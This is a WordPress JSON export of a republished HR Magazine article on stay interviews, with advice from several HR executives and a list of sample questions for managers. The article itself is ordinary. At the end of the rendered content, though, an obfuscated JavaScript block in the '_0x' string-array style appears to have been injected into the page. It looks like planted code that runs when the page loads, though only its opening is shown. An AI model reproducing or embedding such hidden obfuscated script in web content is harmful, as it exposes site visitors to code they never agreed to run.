{"id":155315,"date":"2023-03-07T19:40:54","date_gmt":"2023-03-07T19:40:54","guid":{"rendered":"https:\/\/www.shrm.org\/hr-today\/news\/hr-magazine\/spring-2023\/pages\/how-managers-can-use-stay-interviews-to-improve-retention.aspx"},"modified":"2023-03-07T19:40:54","modified_gmt":"2023-03-07T19:40:54","slug":"how-managers-can-use-stay-interviews-to-improve-retention","status":"publish","type":"post","link":"https:\/\/squarehr.com\/index.php\/2023\/03\/07\/how-managers-can-use-stay-interviews-to-improve-retention\/","title":{"rendered":"How Managers Can Use Stay Interviews to Improve Retention"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/squarehr.com\/wp-content\/uploads\/2023\/03\/how-managers-can-use-stay-interviews-to-improve-retention.jpg\"><\/p>\n<div><img decoding=\"async\" src=\"http:\/\/squarehr.com\/wp-content\/uploads\/2023\/03\/how-managers-can-use-stay-interviews-to-improve-retention-1.jpg\" class=\"ff-og-image-inserted\"><\/div>\n<p>?Employees at isolved, an HR software provider, meet twice a year with their managers for an \u201cengagement check-in.\u201d Often called \u201cstay interviews,\u201d these planned conversations help leaders better understand what motivates and interests team members.&nbsp;<\/p>\n<p class=\"shrm-Element-P\">\u201cThe goal is to support career development and, ultimately, retain good employees,\u201d says Amberly Dressler, senior director of brand and content strategy at the Charlotte, N.C.-based company.<\/p>\n<p class=\"shrm-Element-P\">\u201cOne very positive outcome of a recent engagement check-in was an employee candidly sharing their vision for their career,\u201d Dressler says. She was able to help the individual get involved in projects that contributed to learning and growth. Nearly a year later, the employee is taking on more responsibility and is engaged and motivated, Dressler says.<\/p>\n<p class=\"shrm-Element-P\">With retention an increasing concern for employers, stay interviews are becoming a popular tool for reducing turnover. When done well, they can produce positive results.&nbsp;<\/p>\n<p class=\"shrm-Element-P\">In a 2022 <a href=\"https:\/\/www.paychex.com\/sites\/default\/files\/2022-06\/pulse-of-hr-2022.pdf?utm_source=newsrelease&amp;utm_medium=pulse-hr-2022&amp;utm_campaign=1330102\">Paychex survey,<\/a> 27 percent of 1,000 HR decision-makers in the U.S. said they use stay interviews to help improve retention. Larger organizations are more likely to use them than smaller organizations.&nbsp;<\/p>\n<p class=\"shrm-Element-P\">But companies that use stay interviews don\u2019t always get them right. To effectively employ this retention tool, here are some tips to follow and common mistakes to avoid.<\/p>\n<p class=\"shrm-Element-Subtitle\">Let Managers Lead<\/p>\n<p class=\"shrm-Element-P\">These one-on-one meetings give managers a chance to find out what employees like and don\u2019t like about their jobs. Uncovering potential reasons for quitting gives managers time to address concerns before an employee decides to jump ship for another organization.<\/p>\n<p class=\"shrm-Element-P\">To help ensure the process is successful, never delegate stay interviews to the HR team. The meeting should be a personal conversation between an employee and their direct manager, says Kathleen Quinn Votaw, CEO of TalenTrust, a recruiting and human capital consulting firm based in Denver, and author of <em> <a href=\"https:\/\/www.amazon.com\/Dare-Care-Workplace-Guide-Work\/dp\/1642252891\">Dare to Care in the Workplace: A Guide to the New Way We Work<\/a><\/em> (Advantage Media Group, 2021).<\/p>\n<p class=\"shrm-Element-P\">\u201cStay interviews promote a more intimate relationship between employers and employees,\u201d she says. \u201cWhether you\u2019re the CEO, a VP, director or manager, you need to understand what the internal customer\u2014the employee\u2014wants and why they choose to continue to work for you.\u201d<\/p>\n<p class=\"shrm-Element-P\">Dressler agrees. \u201cSince our engagement check-ins are supplemented by meaningful everyday interactions, they are successful because there\u2019s already a high-trust foundation and one where the employee feels comfortable and confident enough to be candid,\u201d she says.<\/p>\n<p class=\"shrm-Element-P\">Be clear with employees about the reason for holding the interview.<\/p>\n<p class=\"shrm-Element-P\">\u201cBeing honest and upfront with employees is essential,\u201d says John Morgan, president of LHH, a talent acquisition and recruitment firm headquartered in Maitland, Fla. \u201cIf employees see organizations making the effort to gain honest feedback and are transparent in the challenges they are looking to address, employees will be a lot more forthcoming in sharing their feedback.\u201d<\/p>\n<p class=\"shrm-Element-P\">Lily Valentin, head of U.S. operations at Adzuna, a global jobs search engine based in Indianapolis, advises managers to provide employees with questions beforehand.<\/p>\n<p class=\"shrm-Element-P\">\u201cShare some of the questions you are eager to cover,\u201d she says, \u201cso employees have time to reflect and come prepared.\u201d<\/p>\n<p class=\"shrm-Element-Subtitle\">Focus on Employees<\/p>\n<p class=\"shrm-Element-P\">Managers shouldn\u2019t think of stay interviews as the solution to the Great Resignation. The meetings\u2019 primary purpose is to foster trust and engagement, supporting employees in their roles and in their careers.&nbsp;<\/p>\n<p class=\"shrm-Element-P\">\u201cIf an employee feels like their stay interview is solely for the purpose of retaining talent [to] benefit the company, then the intent of the interview has been lost,\u201d says Amy Mosher, chief people officer for isolved. \u201cLead with empathy, focusing on facilitating open, candid conversations about what motivates the employee to stay at that organization, what they want to do next, as well as potential threats that could make the employee consider leaving the company.\u201d<\/p>\n<p class=\"shrm-Element-P\">Mosher adds that the name \u201cstay interview\u201d can sometimes imply an employer-focused conversation.<\/p>\n<p class=\"shrm-Element-P\">\u201cWe call them \u2018engagement check-ins\u2019 to emphasize the goal of building a high-trust relationship between managers and employees,\u201d she says.<\/p>\n<p class=\"shrm-Element-P\">Another mistake is conducting the meeting like an interrogation.<\/p>\n<p class=\"shrm-Element-P\">\u201cManagers might ask questions like, \u2018Why do you choose to work for me? Why would you leave? You would never leave, right?\u2019 \u201d Quinn Votaw says. \u201cYou don\u2019t want to interrogate the people who you work with every day. Make sure you\u2019re in a good place to receive [their] information empathetically.\u201d<\/p>\n<p class=\"shrm-Element-P\">Also, be careful that the conversation doesn\u2019t feel like an exit interview, in which questions typically skew toward the negative and focus on the reasons a person might leave the role, Mosher advises. The exchange should include positive topics such as career goals and development opportunities.<\/p>\n<p class=\"shrm-Element-P\">Valentin recommends meeting somewhere other than a conference room, which can feel formal or stiff.&nbsp;<\/p>\n<p class=\"shrm-Element-P\">\u201cWith the objective of having an honest conversation, managers will get more-candid feedback if the conversation takes place over a coffee or a walk,\u201d she says.<\/p>\n<p class=\"shrm-Element-Subtitle\">Don\u2019t Delay<\/p>\n<p class=\"shrm-Element-P\">Most companies turn to stay interviews as a last-ditch effort when they are having retention issues, rather than proactively making them part of the employee engagement or employee experience strategy to begin with, says Shaara Roman, author of <a href=\"https:\/\/www.amazon.com\/Conscious-Workplace-Fortify-Culture-Thrive\/dp\/B0BCP54QN8\/ref=sr_1_1?crid=12T1OMDS39K4S&amp;keywords=the+conscious+workplace&amp;qid=1669678955&amp;s=books&amp;sprefix=the+conscious+workplace%2cstripbooks%2c74&amp;sr=1-1\" target=\"_blank\" rel=\"noopener noreferrer\"> <em>The Conscious Workplace: Fortify Your Culture to Thrive in Any Crisis <\/em><\/a>(Bedgebury Press, 2022).&nbsp;<\/p>\n<p class=\"shrm-Element-P\">\u201cI like to advise leaders to think and act on things before they become a problem,\u201d she says.<\/p>\n<p class=\"shrm-Element-P\">Managers may be reluctant to conduct stay interviews, fearing they will be opening a can of worms and putting thoughts of leaving into employees\u2019 heads. Quinn Votaw says it\u2019s natural for managers to want to avoid stay interviews for those reasons.&nbsp;<\/p>\n<p class=\"shrm-Element-P\">\u201cThe manager might think, \u2018If I start asking an employee why they work for me, I\u2019m going to know if they\u2019re happy, mad, sad or glad being here. I might have to do something, and if I can\u2019t, they\u2019re going to be more disgruntled, and because we\u2019re in the Great Resignation \u2026 I\u2019m going to have to do her work, so I\u2019m just going to avoid this completely,\u2019 \u201d she says.<\/p>\n<p class=\"shrm-Element-P\">But when you don\u2019t know what you don\u2019t know, the risk of an employee leaving only grows.&nbsp;<\/p>\n<p class=\"shrm-Element-P\">\u201cStay interviews are an iteration of fierce conversations,\u201d Quinn Votaw says. \u201cYou\u2019re going to learn things that you\u2019re going to have to react to, but that\u2019s the point. Ignoring potential problems won\u2019t make them go away.\u201d&nbsp; &nbsp;<\/p>\n<p class=\"shrm-Element-P\"> <em>Stephanie Vozza is a freelance writer based&nbsp;in Franklin, Tenn.<\/em><\/p>\n<p class=\"shrm-Element-P\"> <em>Illustration by Marc Rosenthal.<\/em><\/p>\n<div>\n<p class=\"p1\"> <span class=\"s1\"><strong>Stay Interview Questions<\/strong><\/span><span class=\"s2\"><strong><br \/><\/strong><\/span><\/p>\n<p class=\"p2\"> <span class=\"s1\">Here are some questions managers can ask during stay interviews:<\/span><span class=\"s2\"><br \/><\/span><\/p>\n<ul class=\"ul1\">\n<li class=\"li3\"> <span class=\"s3\"><\/span><span class=\"s1\">What do you look forward to each workday?<\/span><\/li>\n<li class=\"li3\"> <span class=\"s3\"><\/span><span class=\"s1\">What do you like most\u2014or least\u2014about working here?<\/span><\/li>\n<li class=\"li3\"> <span class=\"s3\"><\/span><span class=\"s1\">What keeps you working here?<\/span><\/li>\n<li class=\"li3\"> <span class=\"s3\"><\/span><span class=\"s1\">If you could change something about your job, what would it be?<\/span><\/li>\n<li class=\"li3\"> <span class=\"s3\"><\/span><span class=\"s1\">What would make your job more satisfying?<\/span><\/li>\n<li class=\"li3\"> <span class=\"s3\"><\/span><span class=\"s1\">How do you like to be recognized?<\/span><\/li>\n<li class=\"li3\"> <span class=\"s3\"><\/span><span class=\"s1\">What talents are not being used in your current role?<\/span><\/li>\n<li class=\"li3\"> <span class=\"s3\"><\/span><span class=\"s1\">What would you like to learn here?<\/span><\/li>\n<li class=\"li3\"> <span class=\"s3\"><\/span><span class=\"s1\">What motivates\u2014or demotivates\u2014you?<\/span><\/li>\n<li class=\"li3\"> <span class=\"s3\"><\/span><span class=\"s1\">What can I do to best support you?<\/span><\/li>\n<li class=\"li3\"> <span class=\"s3\"><\/span><span class=\"s1\">What can I do more\u2014or less\u2014of as your manager?<\/span><\/li>\n<\/ul>\n<p class=\"p4\"> <span class=\"s2\">Source: SHRM sample HR form.<\/span><\/p>\n<\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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twice a year with their managers for an \u201cengagement check-in.\u201d Often called \u201cstay interviews,\u201d these planned conversations help leaders better understand what motivates and interests team members.&nbsp; \u201cThe goal is to support career development and, ultimately, retain good employees,\u201d says Amberly Dressler, senior director of brand and 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